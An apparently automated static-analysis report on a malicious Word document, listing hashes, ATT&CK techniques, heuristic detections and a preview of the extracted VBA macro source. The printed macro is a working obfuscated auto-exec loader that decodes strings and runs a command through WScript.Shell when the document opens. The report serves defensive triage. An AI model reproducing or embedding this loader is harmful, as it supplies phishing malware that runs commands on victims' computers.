Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4df5df570c2c4f11…

MALICIOUS

Office (OLE)

138.0 KB Created: 2018-05-15 00:53:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: e255d4b70f5acff182e7dc43c30355fb SHA-1: 5037fc6fca56e1d506b329766b39bc4da3bbc61f SHA-256: 4df5df570c2c4f11c7b273ce9bf6cf641e935c216d4ed28f0e0314b0e7907fa0
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information

This Office document contains heavily obfuscated VBA macros, including an auto-exec loader within the Document_Open and Workbook_Open subroutines. The script uses a custom decoder function to deobfuscate a string, which is then executed. This behavior strongly suggests the document is designed to download and execute a secondary payload, a common tactic for malware distribution.

Heuristics 9

  • ClamAV: Xls.Malware.Valyria-6700358-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700358-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2973 bytes
SHA-256: 262f64053db3391c0792a066710eea54378db48bc9ff3cc95cec9250eef1898b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function acPHGUHWK() As String
Dim aacPHGUHWK As String
aacPHGUHWK = "5B586C7B5B994F5B8E405B5B395C5B9A8C5B5B60265B355E407E4E5B5B315B75605A515B5B5B91415B5F355B2A7D5165372B22126D5B5B52395B371C1D5B2A3C935B1D875B5B20725B67914A505B485B5B2B5B5B995B6E5B4F76415B5B265B5B505B427B1D8850225B5B245B5B5B338B5B5B5A5B5B5B295B5B7971395B7F5B565B26878529908A5B655B5187295B5B265B5B5B5B3A5B6D4D8C5B5B7F5B665B5B2820845B5B835B1D21756F5B5B6C5B615B5B5B635B5B335B205B575B725B8C8F"
acPHGUHWK = aacPHGUHWKEnd Function

Public Function ES_L(ByVal WI_X As String)
   Dim B_AY As String
   Dim CBF_LSJ As Long
   For CBF_LSJ = 1 To Len(WI_X) Step 2
        B_AY = B_AY & Chr(CLng("&H" & Mid(WI_X, CBF_LSJ, 2)) - 64)
   Next
   ES_L = B_AY
End Function
Public Sub Document_Open()
    Application.Run ES_L("8E8E8A93828B8485819F8790")
End Sub
Private Function acMY3Y3B1() As String
Dim aacMY3Y3B1 As String
aacMY3Y3B1 = "5B586C7B5B994F5B8E405B5B395C5B9A8C5B5B60265B355E407E4E5B5B315B75605A515B5B5B91415B5F355B2A7D5165372B22126D5B5B52395B371C1D5B2A3C935B1D875B5B20725B67914A505B485B5B2B5B5B995B6E5B4F76415B5B265B5B505B427B1D8850225B5B245B5B5B338B5B5B5A5B5B5B295B5B7971395B7F5B565B26878529908A5B655B5187295B5B265B5B5B5B3A5B6D4D8C5B5B7F5B665B5B2820845B5B835B1D21756F5B5B6C5B615B5B5B635B5B335B205B575B725B8C8F"
acMY3Y3B1 = aacMY3Y3B1End Function

Sub Workbook_Open()
    Application.Run "ThisWorkbook." & ES_L("8E8E8A93828B8485819F8790")
End Sub
Private Function acWO39I85() As String
Dim aacWO39I85 As String
aacWO39I85 = "5B586C7B5B994F5B8E405B5B395C5B9A8C5B5B60265B355E407E4E5B5B315B75605A515B5B5B91415B5F355B2A7D5165372B22126D5B5B52395B371C1D5B2A3C935B1D875B5B20725B67914A505B485B5B2B5B5B995B6E5B4F76415B5B265B5B505B427B1D8850225B5B245B5B5B338B5B5B5A5B5B5B295B5B7971395B7F5B565B26878529908A5B655B5187295B5B265B5B5B5B3A5B6D4D8C5B5B7F5B665B5B2820845B5B835B1D21756F5B5B6C5B615B5B5B635B5B335B205B575B725B8C8F"
acWO39I85 = aacWO39I85End Function

Public Sub QZ_S()
    Dim WI_X As Object: Set WI_X = VBA.CreateObject(ES_L("9793A3B2A9B0B46E93A8A5ACAC"))
    WI_X.Exec (ES_L(ActiveDocument.Variables("9BTH4").Value))
End Sub
Private Function acH8TIIF0() As String
Dim aacH8TIIF0 As String
aacH8TIIF0 = "5B586C7B5B994F5B8E405B5B395C5B9A8C5B5B60265B355E407E4E5B5B315B75605A515B5B5B91415B5F355B2A7D5165372B22126D5B5B52395B371C1D5B2A3C935B1D875B5B20725B67914A505B485B5B2B5B5B995B6E5B4F76415B5B265B5B505B427B1D8850225B5B245B5B5B338B5B5B5A5B5B5B295B5B7971395B7F5B565B26878529908A5B655B5187295B5B265B5B5B5B3A5B6D4D8C5B5B7F5B665B5B2820845B5B835B1D21756F5B5B6C5B615B5B5B635B5B335B205B575B725B8C8F"
acH8TIIF0 = aacH8TIIF0End Function

Sub NNJSBKDEA_GP()
    QZ_S
End Sub

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